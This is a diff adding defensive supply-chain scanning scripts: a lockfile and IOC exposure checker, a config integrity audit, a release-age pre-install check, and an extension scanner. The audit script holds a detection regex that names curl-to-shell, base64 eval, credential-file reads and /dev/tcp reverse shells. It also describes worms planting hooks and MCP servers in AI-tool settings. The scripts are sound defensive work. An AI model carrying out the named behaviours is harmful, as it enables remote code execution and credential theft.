+# pnpm-lock.yaml package keys: "/axios@1.14.1:", "axios@1.14.1:", "/@vue/cli@5.0.8(...)"
+PNPM_RE = re.compile(r"^\s+'?/?(@?[A-Za-z0-9][\w.-]*(?:/[\w.-]+)?)@([0-9][\w.\-]*)")
+
+
+def parse_pnpm_lock(path: Path, components):  # pnpm-lock.yaml (regex; no YAML dep)
+    seen = set()
+    try:
+        for line in path.read_text(encoding="utf-8", errors="replace").splitlines():
+            m = PNPM_RE.match(line)
+            if m and (m.group(1), m.group(2)) not in seen:
+                seen.add((m.group(1), m.group(2)))
+                add(components, "npm", m.group(1), m.group(2), path)
+    except OSError:
+        pass
+
+
+BUN_RE = re.compile(r'"(@?[A-Za-z0-9][\w.-]*(?:/[\w.-]+)?)@([0-9][\w.\-+]*)"')
+
+
+def parse_bun_lock(path: Path, components):  # bun.lock (text/JSONC) — regex name@version
+    seen = set()
+    try:
+        for m in BUN_RE.finditer(path.read_text(encoding="utf-8", errors="replace")):
+            if (m.group(1), m.group(2)) not in seen:
+                seen.add((m.group(1), m.group(2)))
+                add(components, "npm", m.group(1), m.group(2), path)
+    except OSError:
+        pass
+
+
+def parse_yarn_lock(path: Path, components):  # yarn.lock (classic + Berry)
+    name = None; seen = set()
+    try:
+        for line in path.read_text(encoding="utf-8", errors="replace").splitlines():
+            if line and not line[0].isspace() and line.rstrip().endswith(":"):
+                first = line.strip()[:-1].split(",")[0].strip().strip('"')
+                if first.startswith("__") or "@" not in first:
+                    name = None
+                elif first.startswith("@"):
+                    name = "@" + first[1:].split("@")[0]          # @scope/pkg
+                else:
+                    name = first.split("@")[0]
+            elif name:
+                m = re.match(r'\s+version[:\s]+"?([0-9][^"\s]*)"?', line)
+                if m and (name, m.group(1)) not in seen:
+                    seen.add((name, m.group(1)))
+                    add(components, "npm", name, m.group(1), path)
+                    name = None
+    except OSError:
+        pass
+
+
+REQ_RE = re.compile(r"^\s*([A-Za-z0-9_.\-]+)\s*==\s*([A-Za-z0-9_.\-]+)")
+
+
+def parse_requirements(path: Path, components):
+    try:
+        for line in path.read_text(encoding="utf-8").splitlines():
+            m = REQ_RE.match(line)
+            if m:
+                add(components, "pypi", m.group(1), m.group(2), path)
+    except OSError:
+        pass
+
+
+def parse_dist_info(path: Path, components):  # *.dist-info/METADATA
+    name = ver = None
+    try:
+        for line in path.read_text(encoding="utf-8", errors="replace").splitlines():
+            if line.startswith("Name:"):
+                name = line.split(":", 1)[1].strip()
+            elif line.startswith("Version:"):
+                ver = line.split(":", 1)[1].strip()
+            if name and ver:
+                break
+    except OSError:
+        return
+    add(components, "pypi", name, ver, path)
+
+
+def parse_composer_lock(path: Path, components):  # composer.lock (JSON)
+    try:
+        doc = json.loads(path.read_text(encoding="utf-8"))
+    except (json.JSONDecodeError, OSError):
+        return
+    for key in ("packages", "packages-dev"):
+        for meta in (doc.get(key) or []):
+            add(components, "composer", meta.get("name"), meta.get("version"), path)
+
+
+def parse_cargo_lock(path: Path, components):  # Cargo.lock (TOML; needs py3.11+ tomllib)
+    try:
+        import tomllib
+    except ImportError:
+        return  # tomllib is 3.11+; skip Cargo on older pythons
+    try:
+        doc = tomllib.loads(path.read_text(encoding="utf-8"))
+    except Exception:  # OSError or tomllib.TOMLDecodeError
+        return
+    for pkg in doc.get("package", []):
+        add(components, "cargo", pkg.get("name"), pkg.get("version"), path)
+
+
+def parse_go_sum(path: Path, components):  # go.sum lines: "<module> <version>[/go.mod] <hash>"
+    seen = set()
+    try:
+        for line in path.read_text(encoding="utf-8", errors="replace").splitlines():
+            parts = line.split()
+            if len(parts) >= 2 and parts[1].startswith("v"):
+                mod, ver = parts[0], parts[1].replace("/go.mod", "")
+                if (mod, ver) not in seen:
+                    seen.add((mod, ver))
+                    add(components, "go", mod, ver, path)
+    except OSError:
+        pass
+
+
+GEM_RE = re.compile(r"^\s{4}([A-Za-z0-9_.\-]+) \(([^)]+)\)\s*$")
+
+
+def parse_gemfile_lock(path: Path, components):  # Gemfile.lock GEM/specs section
+    try:
+        for line in path.read_text(encoding="utf-8", errors="replace").splitlines():
+            m = GEM_RE.match(line)
+            if m:
+                add(components, "rubygems", m.group(1), m.group(2), path)
+    except OSError:
+        pass
+
+
+# Installed editor extensions live in fixed HOME dirs, not under --root. Each
+# extension is a <publisher>.<name>-<version>/package.json. Covers the Nx Console /
+# GitHub-breach vector (malicious VS Code extension) that package scanning misses.
+EXT_DIRS = [
+    "~/.vscode/extensions", "~/.vscode-server/extensions", "~/.vscode-oss/extensions",
+    "~/.cursor/extensions", "~/.windsurf/extensions",
+]
+
+
+def collect_editor_extensions():
+    comps = []
+    # SC_EXT_DIRS (os.pathsep-separated) overrides the defaults — for tests or
+    # non-standard install locations.
+    dirs = os.environ.get("SC_EXT_DIRS", "").split(os.pathsep) if os.environ.get("SC_EXT_DIRS") else EXT_DIRS
+    for d in dirs:
+        if not d:
+            continue
+        base = Path(d).expanduser()
+        if not base.is_dir():
+            continue
+        for pkg in base.glob("*/package.json"):
+            try:
+                doc = json.loads(pkg.read_text(encoding="utf-8", errors="replace"))
+            except (json.JSONDecodeError, OSError):
+                continue
+            pub, name, ver = doc.get("publisher"), doc.get("name"), doc.get("version")
+            if pub and name:
+                add(comps, "editor-extension", f"{pub}.{name}", ver, pkg)
+    return comps
+
+
+def collect(roots):
+    components = []
+    for dirpath, filenames in walk(roots):
+        for fn in filenames:
+            full = dirpath / fn
+            if fn in ("package-lock.json", "npm-shrinkwrap.json", ".package-lock.json"):
+                parse_npm_lock(full, components)
+            elif fn == "pnpm-lock.yaml":
+                parse_pnpm_lock(full, components)
+            elif fn == "yarn.lock":
+                parse_yarn_lock(full, components)
+            elif fn == "bun.lock":
+                parse_bun_lock(full, components)
+            elif fn.startswith("requirements") and fn.endswith(".txt"):
+                parse_requirements(full, components)
+            elif fn == "METADATA" and dirpath.name.endswith(".dist-info"):
+                parse_dist_info(full, components)
+            elif fn == "composer.lock":
+                parse_composer_lock(full, components)
+            elif fn == "Cargo.lock":
+                parse_cargo_lock(full, components)
+            elif fn == "go.sum":
+                parse_go_sum(full, components)
+            elif fn == "Gemfile.lock":
+                parse_gemfile_lock(full, components)
+    return components
+
+
+def main():
+    # Force UTF-8 on Windows so help text / output never crash on cp1252
+    # (the same class of bug GuardDog hits — see references/tooling-landscape.md).
+    for stream in (sys.stdout, sys.stderr):
+        try:
+            stream.reconfigure(encoding="utf-8")  # type: ignore[attr-defined]
+        except (AttributeError, ValueError):
+            pass
+    ap = argparse.ArgumentParser(add_help=True, description=__doc__,
+                                 formatter_class=argparse.RawDescriptionHelpFormatter)
+    ap.add_argument("--catalog", default=str(DEFAULT_CATALOG),
+                    help="IOC catalog JSON file or dir of *.json")
+    ap.add_argument("--root", action="append", default=[],
+                    help="directory to scan (repeatable; default: cwd)")
+    ap.add_argument("--json", action="store_true", help="machine-readable output")
+    ap.add_argument("--findings-only", action="store_true",
+                    help="emit only matches, not the full component inventory")
+    ap.add_argument("--no-extensions", action="store_true",
+                    help="skip the installed-editor-extension inventory")
+    args = ap.parse_args()
+
+    roots = args.root or ["."]
+    index, schema_ver, n_entries = load_catalog(Path(args.catalog).expanduser())
+    log(f"=== exposure-check: {n_entries} IOC entries (schema {schema_ver}), "
+        f"roots: {', '.join(roots)} ===")
+
+    components = collect(roots)
+    if not args.no_extensions:
+        components += collect_editor_extensions()
+    findings = []
+    for c in components:
+        bucket = index.get((c["ecosystem"], c["name"].lower()))
+        # "*" in a catalog entry's versions flags ANY installed version — the right
+        # model for tag-rewrite attacks (Laravel-Lang) where every version is poisoned.
+        if bucket and (c["version"] in bucket or "*" in bucket):
+            e = bucket.get(c["version"]) or bucket["*"]
+            findings.append({**c, "ioc_id": e.get("id"),
+                             "severity": e.get("severity", "unknown"),
+                             "note": e.get("note", "")})
+
+    if args.json:
+        data: dict[str, object] = {"findings": findings}
+        if not args.findings_only:
+            data["components_scanned"] = len(components)
+        print(json.dumps({"data": data, "meta": {
+            "exposed": bool(findings), "findings": len(findings),
+            "components_scanned": len(components), "ioc_entries": n_entries,
+            "schema": "axiom.tool.exposure-check.report/v1"}}))
+    else:
+        if not args.findings_only:
+            for c in components:
+                print(f"{c['ecosystem']}\t{c['name']}\t{c['version']}\t{c['source']}")
+        for f in findings:
+            log(f"  [EXPOSED] {f['ecosystem']} {f['name']}@{f['version']} "
+                f"({f['severity']}, {f['ioc_id']}) - {f['source']}")
+
+    if findings:
+        log(f"EXPOSED: {len(findings)} installed package(s) match the IOC catalog. "
+            f"Treat as incident: isolate, rotate creds, remove the package.")
+        sys.exit(EXIT_EXPOSED)
+    log(f"Clean: 0 of {len(components)} scanned components match the catalog.")
+    sys.exit(EXIT_OK)
+
+
+if __name__ == "__main__":
+    main()

+ 202 - 0
skills/supply-chain-defense/scripts/integrity-audit.sh

@@ -0,0 +1,202 @@
+#!/usr/bin/env bash
+# Self-integrity scan — detect worm persistence in Claude Code / VS Code settings.
+#
+# Flags the 2026 worm IOC: hooks / mcpServers injected into Claude Code and VS Code
+# settings, plus GitHub Actions workflows with live OIDC publish trust (the Mini
+# Shai-Hulud entry point). Read-only — it reports; you decide. Uses `zizmor` for
+# richer workflow analysis when installed.
+#
+# Usage:   integrity-audit.sh [--json] [-q] [-v] [PROJECT_DIR]
+# Input:   optional PROJECT_DIR positional (default: cwd) + $HOME config locations
+# Output:  stdout = findings (tab-separated records, or JSON with --json)
+# Stderr:  section framing, progress, verdict guidance, errors
+# Exit:    0 clean, 2 usage, 5 missing-dep (jq, with --json), 10 review-items-found
+#
+# Note: intentionally NOT `set -e` — a scanner must survive missing files and keep
+# going. Errors are handled explicitly.
+#
+# Examples:
+#   integrity-audit.sh
+#   integrity-audit.sh --json | jq '.data.review[]'
+#   integrity-audit.sh -q ./some/project    # quiet: findings only, no framing
+
+set -uo pipefail
+
+EXIT_OK=0; EXIT_USAGE=2; EXIT_MISSING_DEP=5; EXIT_REVIEW=10
+
+JSON=0; QUIET=0; VERBOSE=0; PROJECT_DIR="."
+while [[ $# -gt 0 ]]; do
+  case "$1" in
+    --json)        JSON=1 ;;
+    -q|--quiet)    QUIET=1 ;;
+    -v|--verbose)  VERBOSE=1 ;;
+    -h|--help)
+      sed -n '2,26p' "$0" | sed 's/^# \{0,1\}//'; exit "$EXIT_OK" ;;
+    -*) echo "ERROR: unknown flag: $1 (try --help)" >&2; exit "$EXIT_USAGE" ;;
+    *)  PROJECT_DIR="$1" ;;
+  esac
+  shift
+done
+
+# stderr framing — colored only when stderr is a TTY and NO_COLOR unset.
+if [[ -t 2 && -z "${NO_COLOR:-}" ]]; then
+  C_Y=$'\033[33m'; C_G=$'\033[32m'; C_D=$'\033[2m'; C_O=$'\033[0m'
+else C_Y=""; C_G=""; C_D=""; C_O=""; fi
+section() { [[ "$QUIET" -eq 1 ]] && return; printf '%s== %s ==%s %s\n' "$C_D" "$1" "$C_O" "${2:-}" >&2; }
+info()    { [[ "$QUIET" -eq 1 ]] && return; printf '   %s\n' "$1" >&2; }
+vinfo()   { [[ "$VERBOSE" -eq 1 ]] && printf '   %s\n' "$1" >&2; }
+
+HAS_JQ=0; command -v jq >/dev/null 2>&1 && HAS_JQ=1
+HAS_ZIZMOR=0; command -v zizmor >/dev/null 2>&1 && HAS_ZIZMOR=1
+if [[ "$JSON" -eq 1 && "$HAS_JQ" -eq 0 ]]; then
+  echo '{"error":{"code":"MISSING_DEPENDENCY","message":"jq required for --json","details":{"install":"apt-get install jq"}}}'
+  echo "ERROR: jq required for --json output" >&2
+  exit "$EXIT_MISSING_DEP"
+fi
+
+REVIEW_JSON=()    # array of compact JSON objects
+REVIEW_COUNT=0
+
+# record <category> <source> <kind> <entries-newline-separated>
+record() {
+  local category=$1 source=$2 kind=$3 entries=$4
+  REVIEW_COUNT=$((REVIEW_COUNT+1))
+  # tab-separated record to stdout (the data product, non-JSON mode)
+  if [[ "$JSON" -eq 0 ]]; then
+    local flat; flat=$(echo "$entries" | paste -sd',' - 2>/dev/null)
+    printf '%s\t%s\t%s\t%s\n' "$category" "$source" "$kind" "$flat"
+  fi
+  if [[ "$HAS_JQ" -eq 1 ]]; then
+    local obj
+    obj=$(jq -cn --arg c "$category" --arg s "$source" --arg k "$kind" \
+      --arg e "$entries" '{category:$c, source:$s, kind:$k, entries:($e|split("\n")|map(select(length>0)))}')
+    REVIEW_JSON+=("$obj")
+  fi
+  printf '   %s[review]%s %s %s: %s\n' "$C_Y" "$C_O" "$kind" "$source" \
+    "$(echo "$entries" | paste -sd',' - 2>/dev/null)" >&2
+}
+
+json_key_entries() {  # file key -> newline-separated entry list (jq)
+  local file=$1 key=$2
+  [[ -f "$file" && "$HAS_JQ" -eq 1 ]] || return 0
+  jq -r --arg k "$key" '
+    if (.[$k] // empty) == null then empty
+    elif (.[$k]|type)=="object" then (.[$k]|keys[])
+    elif (.[$k]|type)=="array"  then (.[$k][]|tostring)
+    else (.[$k]|tostring) end' "$file" 2>/dev/null
+}
+
+# ─── 1. AI-tool config: hooks / mcpServers across hosts ────────────────────
+# Broadened with the MCP host-config map from Perplexity's Bumblebee
+# (docs/inventory-sources.md) — the worm targets these persistence surfaces.
+section "AI-tool config" "hooks / mcpServers you may not have added (Claude + MCP hosts)"
+APPDATA_DIR="${APPDATA:-$HOME/AppData/Roaming}"
+CLAUDE_FILES=(
+  "$HOME/.claude/settings.json" "$HOME/.claude/settings.local.json" "$HOME/.claude.json"
+  "$HOME/.gemini/settings.json"                                    # Gemini CLI / Code Assist
+  "$HOME/Library/Application Support/Claude/claude_desktop_config.json"   # Claude Desktop (mac)
+  "$APPDATA_DIR/Claude/claude_desktop_config.json"                 # Claude Desktop (win)
+  "$HOME/.config/Claude/claude_desktop_config.json")              # Claude Desktop (linux)
+# Project-local MCP / Claude configs (skip worktrees — owned by other sessions).
+while IFS= read -r f; do CLAUDE_FILES+=("$f"); done < <(
+  find "$PROJECT_DIR" -maxdepth 4 \
+    \( -name 'settings*.json' -path '*/.claude/*' \
+       -o -name '.mcp.json' -o -name 'mcp.json' \
+       -o -name 'cline_mcp_settings.json' -o -name 'mcp_settings.json' \) \
+    -not -path '*/worktrees/*' -not -path '*/node_modules/*' 2>/dev/null)
+for f in "${CLAUDE_FILES[@]}"; do
+  [[ -f "$f" ]] || continue
+  vinfo "scanning $f"
+  for key in hooks mcpServers; do
+    entries=$(json_key_entries "$f" "$key")
+    [[ -n "$entries" ]] && record "aitool_config" "$f" "$key" "$entries"
+  done
+done
+
+# ─── 2. Editor user settings (VS Code + forks) ─────────────────────────────
+section "Editor settings" "startup / autorun / task IOCs (VS Code, Cursor, Windsurf, VSCodium)"
+EDITOR_SETTINGS=()
+for ed in Code Cursor Windsurf VSCodium; do
+  EDITOR_SETTINGS+=(
+    "$HOME/.config/$ed/User/settings.json"                       # Linux
+    "$HOME/Library/Application Support/$ed/User/settings.json"   # macOS
+    "${APPDATA:-$HOME/AppData/Roaming}/$ed/User/settings.json")  # Windows
+done
+SUSPECT='task.allowAutomaticTasks|automationProfile|shellArgs|runOnStartup|autoRun|"command":'
+for f in "${EDITOR_SETTINGS[@]}"; do
+  [[ -f "$f" ]] || continue
+  vinfo "scanning $f"
+  hits=$(grep -nEi "$SUSPECT" "$f" 2>/dev/null)
+  [[ -n "$hits" ]] && record "vscode_settings" "$f" "autorun_keys" "$hits"
+done
+info "audit extensions too: code --list-extensions --show-versions (pause <7-day, non-verified)"
+
+# ─── 3. GitHub Actions OIDC publish trust ──────────────────────────────────
+section "GitHub Actions" "live OIDC publish trust (Mini Shai-Hulud entry point)"
+WF_DIR="$PROJECT_DIR/.github/workflows"
+if [[ -d "$WF_DIR" ]]; then
+  if [[ "$HAS_ZIZMOR" -eq 1 ]]; then
+    info "running zizmor (richer workflow analysis) — see stderr"
+    [[ "$QUIET" -eq 0 ]] && zizmor "$WF_DIR" >&2 2>&1 || true
+  else
+    # Surface the degradation at info level (NOT verbose-only) — the caller must
+    # know they're getting the weaker check, or they'll assume full coverage.
+    info "NOTE: zizmor not installed — using weaker rg-based OIDC check only."
+    info "      Misses pull_request_target / template-injection. Install: uv tool install zizmor"
+  fi
+  while IFS= read -r wf; do
+    [[ -z "$wf" ]] && continue
+    pub=$(grep -nE 'npm publish|pypi|twine upload|trusted.?publish|registry-url' "$wf" 2>/dev/null)
+    record "workflow_oidc" "$wf" "id-token-write" "${pub:-id-token: write present}"
+  done < <(grep -rlE 'id-token:\s*write' "$WF_DIR" 2>/dev/null)
+else
+  info "no .github/workflows in $PROJECT_DIR"
+fi
+
+# ─── 4. Shell startup files (persistence) ──────────────────────────────────
+# The worm family persists via shell rc files too, not just editor settings —
+# our own threat-model IOC list names this. These files are hand-edited, so
+# curl|sh / base64-eval / cred-reads / reverse-shell patterns are high-signal.
+section "Shell startup files" "curl|sh, base64 eval, cred reads, /dev/tcp (persistence)"
+SHELL_RC=(
+  "$HOME/.bashrc" "$HOME/.bash_profile" "$HOME/.profile"
+  "$HOME/.zshrc" "$HOME/.zprofile" "$HOME/.zshenv"
+  "$HOME/.config/fish/config.fish"
+  "$HOME/Documents/PowerShell/Microsoft.PowerShell_profile.ps1"
+  "$HOME/Documents/WindowsPowerShell/Microsoft.PowerShell_profile.ps1")
+SHELL_SUSPECT='curl[^|]*\|[[:space:]]*(ba)?sh|wget[^|]*\|[[:space:]]*(ba)?sh|base64[[:space:]]+--?d|eval[[:space:]]+"?\$\(|\.claude[/\\]\.?settings|\.aws[/\\]credentials|/dev/tcp/|[Ii]nvoke-Expression[^;]*[Dd]ownload'
+for f in "${SHELL_RC[@]}"; do
+  [[ -f "$f" ]] || continue
+  vinfo "scanning $f"
+  hits=$(grep -nEi "$SHELL_SUSPECT" "$f" 2>/dev/null)
+  [[ -n "$hits" ]] && record "shell_rc" "$f" "suspicious_line" "$hits"
+done
+
+# ─── 5. Package-manager config (rogue registry / leaked token) ─────────────
+section "Package-manager config" ".npmrc / .pypirc registry overrides + tokens"
+for f in "$HOME/.npmrc" "$PROJECT_DIR/.npmrc" "$HOME/.pypirc" "$PROJECT_DIR/.pypirc"; do
+  [[ -f "$f" ]] || continue
+  vinfo "scanning $f"
+  hits=$(grep -nEi '^[[:space:]]*registry[[:space:]]*=|_authToken|^[[:space:]]*index-url|password[[:space:]]*=' "$f" 2>/dev/null)
+  [[ -n "$hits" ]] && record "pkgmgr_config" "$f" "registry_or_token" "$hits"
+done
+
+# ─── Output + verdict ──────────────────────────────────────────────────────
+if [[ "$JSON" -eq 1 ]]; then
+  printf '%s\n' "${REVIEW_JSON[@]:-}" | jq -s \
+    --argjson z "$HAS_ZIZMOR" \
+    '{data:{review: (map(select(length>0)))}, meta:{count:(map(select(length>0))|length), zizmor_used:($z==1), schema:"axiom.tool.integrity-audit.report/v1"}}'
+fi
+
+if [[ "$REVIEW_COUNT" -eq 0 ]]; then
+  [[ "$QUIET" -eq 0 ]] && printf '%sClean: nothing flagged for review.%s\n' "$C_G" "$C_O" >&2
+  exit "$EXIT_OK"
+fi
+if [[ "$QUIET" -eq 0 ]]; then
+  printf '%s%d item(s) flagged for review — confirm YOU added each.%s\n' "$C_Y" "$REVIEW_COUNT" "$C_O" >&2
+  cat >&2 <<'EOF'
+   Not proof of compromise. If any entry is unexplained, treat as an incident:
+     1. Isolate the machine.  2. Rotate every reachable credential.  3. Investigate.
+EOF
+fi
+exit "$EXIT_REVIEW"

+ 174 - 0
skills/supply-chain-defense/scripts/preinstall-check.sh

@@ -0,0 +1,174 @@
+#!/usr/bin/env bash
+# Release-age pre-check for dependencies — enforce the cooldown policy.
+#
+# Flags any package whose target version was published inside the cooldown window
+# (default 7 days), because the 2026 worm campaign poisons brand-new releases that
+# are removed within hours. Routes to `socket` for a behavioural verdict when the
+# CLI is installed. Queries public registries (npm registry / PyPI JSON API) — no
+# auth, no install, read-only.
+#
+# Usage:   preinstall-check.sh [--npm|--pip|--composer|--cargo|--go] [--json] [-q] <pkg>[@version] ...
+# Input:   one or more package specs as positionals; a flag picks the ecosystem
+#          (default npm; Composer specs are vendor/pkg[@version])
+# Output:  stdout = per-package records (tab-separated, or JSON with --json)
+# Stderr:  headers, socket suggestions, progress, errors
+# Exit:    0 all outside cooldown, 2 usage, 5 missing-dep, 7 registry-unavailable,
+#          10 at-least-one-inside-cooldown
+#
+# Examples:
+#   preinstall-check.sh axios react@19.0.0
+#   preinstall-check.sh --pip requests fastapi@0.110.0
+#   preinstall-check.sh --composer laravel-lang/lang craftcms/cms@4.5.0
+#   preinstall-check.sh --cargo serde  ;  preinstall-check.sh --go github.com/gin-gonic/gin
+#   preinstall-check.sh --json axios | jq '.data[] | select(.inside_cooldown)'
+#   COOLDOWN_DAYS=14 preinstall-check.sh left-pad
+
+set -uo pipefail
+
+EXIT_OK=0; EXIT_USAGE=2; EXIT_MISSING_DEP=5; EXIT_UNAVAILABLE=7; EXIT_INSIDE=10
+
+ECOSYSTEM="npm"; COOLDOWN_DAYS="${COOLDOWN_DAYS:-7}"; JSON=0; QUIET=0; PKGS=()
+while [[ $# -gt 0 ]]; do
+  case "$1" in
+    --pip|--pypi) ECOSYSTEM="pypi" ;;
+    --npm)        ECOSYSTEM="npm" ;;
+    --composer)   ECOSYSTEM="composer" ;;
+    --cargo)      ECOSYSTEM="cargo" ;;
+    --go)         ECOSYSTEM="go" ;;
+    --json)       JSON=1 ;;
+    -q|--quiet)   QUIET=1 ;;
+    -h|--help)    sed -n '2,30p' "$0" | sed 's/^# \{0,1\}//'; exit "$EXIT_OK" ;;
+    -*)  echo "ERROR: unknown flag: $1 (try --help)" >&2; exit "$EXIT_USAGE" ;;
+    *)   PKGS+=("$1") ;;
+  esac
+  shift
+done
+
+[[ ${#PKGS[@]} -eq 0 ]] && { echo "ERROR: no package specs given (try --help)" >&2; exit "$EXIT_USAGE"; }
+command -v curl >/dev/null 2>&1 || { echo "ERROR: curl required" >&2; exit "$EXIT_MISSING_DEP"; }
+HAS_JQ=0; command -v jq >/dev/null 2>&1 && HAS_JQ=1
+[[ "$JSON" -eq 1 && "$HAS_JQ" -eq 0 ]] && {
+  echo '{"error":{"code":"MISSING_DEPENDENCY","message":"jq required for --json"}}'
+  echo "ERROR: jq required for --json" >&2; exit "$EXIT_MISSING_DEP"; }
+HAS_SOCKET=0; command -v socket >/dev/null 2>&1 && HAS_SOCKET=1
+
+emit() { [[ "$QUIET" -eq 1 ]] && return; printf '%s\n' "$1" >&2; }
+now_epoch=$(date +%s); inside=0; unavailable=0
+JSON_OBJS=()
+
+iso_to_epoch() {
+  local ts=$1
+  date -d "$ts" +%s 2>/dev/null && return 0
+  ts="${ts%%.*}"; ts="${ts%Z}"
+  date -j -f "%Y-%m-%dT%H:%M:%S" "$ts" +%s 2>/dev/null && return 0
+  echo ""
+}
+
+result() {  # name version published
+  local name=$1 version=$2 published=$3 days=-1 ic=false
+  if [[ -n "$version" && -n "$published" ]]; then
+    local epoch; epoch=$(iso_to_epoch "$published")
+    if [[ -n "$epoch" ]]; then
+      days=$(( (now_epoch - epoch) / 86400 ))
+      if [[ "$days" -lt "$COOLDOWN_DAYS" ]]; then ic=true; inside=1; fi
+    fi
+  fi
+  # data record → stdout (non-json mode)
+  if [[ "$JSON" -eq 0 ]]; then
+    printf '%s\t%s\t%s\t%s\t%s\n' "$ECOSYSTEM" "$name" "${version:-?}" "${days}" "$ic"
+  fi
+  [[ "$HAS_JQ" -eq 1 ]] && JSON_OBJS+=("$(jq -cn \
+    --arg e "$ECOSYSTEM" --arg n "$name" --arg v "$version" \
+    --arg p "$published" --argjson d "$days" --argjson ic "$ic" \
+    '{ecosystem:$e, name:$n, version:($v|select(length>0)), published:($p|select(length>0)), age_days:(if $d<0 then null else $d end), inside_cooldown:$ic}')")
+  # human framing → stderr
+  if [[ "$ic" == "true" ]]; then
+    emit "  [INSIDE COOLDOWN] ${name}@${version} — ${days}d ago (< ${COOLDOWN_DAYS}d). Hold off."
+  elif [[ "$days" -ge 0 ]]; then
+    emit "  [ok] ${name}@${version} — ${days}d ago (>= ${COOLDOWN_DAYS}d)."
+  else
+    emit "  [?] ${name} — version/publish time not found or registry unreachable."
+  fi
+}
+
+fetch() { curl -fsSL -A "supply-chain-defense/preinstall-check" "$1" 2>/dev/null || { unavailable=1; echo ""; }; }
+
+check_npm() {
+  local spec=$1 name version json
+  name="${spec%@*}"; version=""
+  [[ "$spec" == *"@"* && "$spec" != @*/* ]] && version="${spec#*@}"
+  json=$(fetch "https://registry.npmjs.org/${name}")
+  [[ -z "$json" || "$HAS_JQ" -eq 0 ]] && { result "$name" "" ""; return; }
+  [[ -z "$version" ]] && version=$(jq -r '."dist-tags".latest // empty' <<<"$json")
+  result "$name" "$version" "$(jq -r --arg v "$version" '.time[$v] // empty' <<<"$json")"
+}
+check_pypi() {
+  local spec=$1 name version url json
+  name="${spec%==*}"; version=""
+  [[ "$spec" == *"=="* ]] && version="${spec#*==}"
+  [[ "$spec" == *"@"* ]] && { name="${spec%@*}"; version="${spec#*@}"; }
+  url="https://pypi.org/pypi/${name}/json"; [[ -n "$version" ]] && url="https://pypi.org/pypi/${name}/${version}/json"
+  json=$(fetch "$url")
+  [[ -z "$json" || "$HAS_JQ" -eq 0 ]] && { result "$name" "" ""; return; }
+  [[ -z "$version" ]] && version=$(jq -r '.info.version // empty' <<<"$json")
+  result "$name" "$version" "$(jq -r --arg v "$version" \
+    '(.releases[$v]//[])[0].upload_time_iso_8601 // .urls[0].upload_time_iso_8601 // empty' <<<"$json")"
+}
+
+check_composer() {  # Packagist: repo.packagist.org/p2/<vendor>/<pkg>.json
+  local spec=$1 name version json published
+  name="${spec%@*}"; version=""
+  [[ "$spec" == *"@"* ]] && version="${spec#*@}"
+  json=$(fetch "https://repo.packagist.org/p2/${name}.json")
+  [[ -z "$json" || "$HAS_JQ" -eq 0 ]] && { result "$name" "" ""; return; }
+  [[ -z "$version" ]] && version=$(jq -r --arg n "$name" '(.packages[$n][0].version) // empty' <<<"$json")
+  published=$(jq -r --arg n "$name" --arg v "$version" 'first(.packages[$n][] | select(.version==$v) | .time) // empty' <<<"$json")
+  result "$name" "$version" "$published"
+}
+check_cargo() {  # crates.io API (requires User-Agent — fetch sets one)
+  local spec=$1 name version json published
+  name="${spec%@*}"; version=""
+  [[ "$spec" == *"@"* ]] && version="${spec#*@}"
+  json=$(fetch "https://crates.io/api/v1/crates/${name}")
+  [[ -z "$json" || "$HAS_JQ" -eq 0 ]] && { result "$name" "" ""; return; }
+  [[ -z "$version" ]] && version=$(jq -r '.crate.max_stable_version // .crate.newest_version // empty' <<<"$json")
+  published=$(jq -r --arg v "$version" 'first(.versions[] | select(.num==$v) | .created_at) // empty' <<<"$json")
+  result "$name" "$version" "$published"
+}
+check_go() {  # proxy.golang.org/<module>/@v/<version>.info  (or /@latest)
+  local spec=$1 mod version json
+  mod="${spec%@*}"; version=""
+  [[ "$spec" == *"@"* ]] && version="${spec#*@}"
+  if [[ -z "$version" ]]; then json=$(fetch "https://proxy.golang.org/${mod}/@latest")
+  else json=$(fetch "https://proxy.golang.org/${mod}/@v/${version}.info"); fi
+  [[ -z "$json" || "$HAS_JQ" -eq 0 ]] && { result "$mod" "" ""; return; }
+  result "$mod" "$(jq -r '.Version // empty' <<<"$json")" "$(jq -r '.Time // empty' <<<"$json")"
+}
+
+emit "=== Pre-install check (${ECOSYSTEM}, cooldown ${COOLDOWN_DAYS}d) ==="
+for spec in "${PKGS[@]}"; do
+  case "$ECOSYSTEM" in
+    npm) check_npm "$spec" ;; pypi) check_pypi "$spec" ;;
+    composer) check_composer "$spec" ;; cargo) check_cargo "$spec" ;; go) check_go "$spec" ;;
+  esac
+done
+
+if [[ "$JSON" -eq 1 ]]; then
+  printf '%s\n' "${JSON_OBJS[@]:-}" | jq -s \
+    --argjson cd "$COOLDOWN_DAYS" --arg eco "$ECOSYSTEM" \
+    '{data: map(select(length>0)), meta:{ecosystem:$eco, cooldown_days:$cd, count:(map(select(length>0))|length), schema:"axiom.tool.preinstall-check.report/v1"}}'
+fi
+
+if [[ "$QUIET" -eq 0 ]]; then
+  if [[ "$HAS_SOCKET" -eq 1 ]]; then
+    emit ""; emit "Behavioural verdict:"
+    for spec in "${PKGS[@]}"; do n="${spec%@*}"; n="${n%==*}"; emit "  socket package score ${ECOSYSTEM} ${n}"; done
+  else
+    emit ""; emit "Behavioural scan (free):  npm install -g socket   # then: socket package score ${ECOSYSTEM} <pkg>"
+    emit "Or depscore MCP (no key):  claude mcp add --transport http socket-mcp https://mcp.socket.dev/"
+  fi
+fi
+
+[[ "$inside" -eq 1 ]] && exit "$EXIT_INSIDE"
+[[ "$unavailable" -eq 1 ]] && exit "$EXIT_UNAVAILABLE"
+exit "$EXIT_OK"

+ 154 - 0
skills/supply-chain-defense/scripts/scan-extensions.sh

@@ -0,0 +1,154 @@
+#!/usr/bin/env bash
+# Inventory, recency, and (optional) behavioural scan of installed editor
+# extensions, Claude Code plugins, and skills — the "what's on this machine, what
+# changed recently, and is any of it malicious?" audit.
+#
+# DEFAULT (zero-dependency): lists every installed editor extension, Claude plugin,
+#   and skill with its version + whether it changed within the recency window. The
+#   2026 campaign exploits exactly the gap this closes — fresh malicious versions
+#   live for minutes (Nx Console: 11 min) and most teams have no inventory. This
+#   mode has NO false positives; it is an inventory, not a verdict.
+#
+# --deep (auto-detects guarddog + semgrep): runs GuardDog's AST/semgrep behavioural
+#   rules against editor extensions changed within the window (or --all) — the real
+#   "unknown bad" engine. If the engine is NOT installed it does NOT pretend: it runs
+#   inventory + recency, then LOUDLY reports that the behavioural scan was skipped and
+#   recommends `uv tool install guarddog semgrep` (on-demand — kept off the machine by
+#   default to stay lean). It never reports "clean" for a scan it didn't run.
